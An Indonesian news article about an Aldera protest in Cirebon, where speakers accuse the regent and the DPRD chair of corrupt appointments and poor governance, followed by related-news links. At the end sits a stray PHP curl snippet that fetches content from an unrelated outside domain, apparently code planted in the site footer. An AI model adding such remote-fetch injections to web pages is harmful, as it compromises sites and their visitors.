Massa Aliansi Demokrasi Rakyat (Aldera) Berserta Masyarakat Berdemo Di Depan Kantor DPRD dan Kantor Bupati Cirebon

Sabtu, 28 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.Info || Jawa Barat – Kabupaten Cirebon – Demo terkait refleksi lima tahun kepemimpinan Bupati Cirebon, H Imron dan Ketua DPRD Kabupaten Cirebon, H Moh. Luthfi ini, Aldera menuding kedua pejabat tersebut gagal total dalam kepemimpinannya selama lima tahun ini. Ketua Aldera, Warcono Semaun menyampaikan, selama lima tahun, pemerintahan Kabupaten Cirebon yang dipimpin Bupati Imron, gagal dalam menanggulangi masalah kesejahteraan sosial.

Ini terbukti dengan predikat bahwa daerah ini merupakan menyandang gelar Kabupaten Cirebon dengan kemiskinan ekstrim tertinggi di Jawa Barat. Hal ini dapat dilihat tata kelola birokrasi dalam hal penempatan para pegawai di lingkungan Pemkab Cirebon.

Hal itu karena selama kurang lebih lima tahun Imron menjabat bupati, proses rotasi mutasi pejabat diduga terjadi penyimpangan.

Adanya open bidding dan assesment hanyalah syarat secara administrasi saja. Selebihnya, patut diduga ada banyak transaksional ketika ingin menempatkan pegawai di Pemkab Cirebon,” kata Warcono. Ironisnya, kata dia, kasus suap jabatan mantan Bupati Cirebon, Sunjaya Purwadisastra, justru tidak menjadi bahan pertimbangan.

Baca Juga:  Dandim 0213/Nias Berikan Sebuah Buku Kepada Personil Penerangan Kodim 0213/Nias

Ini supaya saksi-saksi dari pejabat Pemkab Cirebon yang terbukti saat itu dipersidangan mengaku memberikan suap kepada Sunjaya, tidak direkomendasikan menjadi pejabat.

Dari dugaan transaksional masalah rotasi mutasi pejabat, mengakibatkan buruknya SDM di banyak SKPD yang ada di Kabupaten Cirebon. “Meskipun beberapa SKPD diisi oleh orang-orang berkompeten, namun itu bisa dihitung dengan jari. Terbukti, capaian kinerja di semua SKPD sebagian besar buruk dan gagal,” ujar Warcono. Aldera juga menilai, selama ini pelayanan masyarakat tidak efektif. Imbasnya, terbukti dengan kuatnya keinginan masyarakat Cirebon Timur untuk membentuk Daerah Otonomi Baru (DOB).

Baca Juga:  Safari Ramadhan 1445 H Jejak Kasus Berbagi Takjil & Santuni Anak Yatim Piatu

Ini membuktikan, persoalan pelayanan publik menjadi salah satu gagalnya pemerintahan Imron.

Ini Langkah yang Harus Dilakukan “Buruknya infrastruktur, buruknya pelayanan masalah kesehatan dan pendidikan juga masalah sosial lainnya menjadi kendala utama ketidakpuasan masyarakat selama ini.

Buktinya, kalau pelayanan publiknya baik tidak mungkin ada wacana DOB Cirebon Timur,” kata Warcono. Warcono juga menilai, kinerja Inspektorat Kabupaten Cirebon selama ini dianggap tidak transparan. Pencapaian kinerja mereka sebagai garda paling depan untuk membenahi temuan-temuan dugaan penyimpangan kinerja semua SKPD, dianggap gagal.

Buktinya, kata dia, dugaan pelanggaran dan dugaan perkeliruan yang dilakukan banyak SKPD terus dilakukan, tanpa ada teguran. Kalaupun ada teguran, Inspektorat tidak pernah mau mempublish masalah tersebut ke publik.

Komunikasi politik yang dibangun antara eksekutif dan legislatif dalam soal penganggaran, kebanyakan hanya untuk kepentingan sebagian oknum anggota dewan. Bukan rahasia umum lagi, karena kami menduga ada oknum-oknum anggota dewan yang selama lebih dari empat tahun anggaran ini, diduga menguasai banyak proyek di setiap SKPD teknis,” kata Warcono.

Baca Juga:  Wujud Pelayanan Prima Bhabinkamtibmas Suwat Atur Lalin Depan Sekolah

Peserta aksi, Doni Suroto menyampaikan, khusus untuk Ketua DPRD Kabupaten Cirebon, H Moh. Luthfi, Aldera memberi raport merah selama empat tahun menjadi ketua dewan.

Sebab, banyak keputusan kontroversi yang dilakukan Luthfi. Sehingga, dengan kebijakan yang tidak populis itu, berimbas pada acak-acakannya tatanan birokrasi. “Ketua DPRD Kabupaten Cirebon juga harus bertanggungjawab dengan buruknya kinerja Bupati Cirebon. Karena maju tidaknya suatu daerah, berhasil tidaknya kepemimpinan kepala daerah, tidak lepas dari fungsi sosial kontrol legislatif,” kata Doni.

*Rahmadi Fadjar Investigasi JabaR*

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>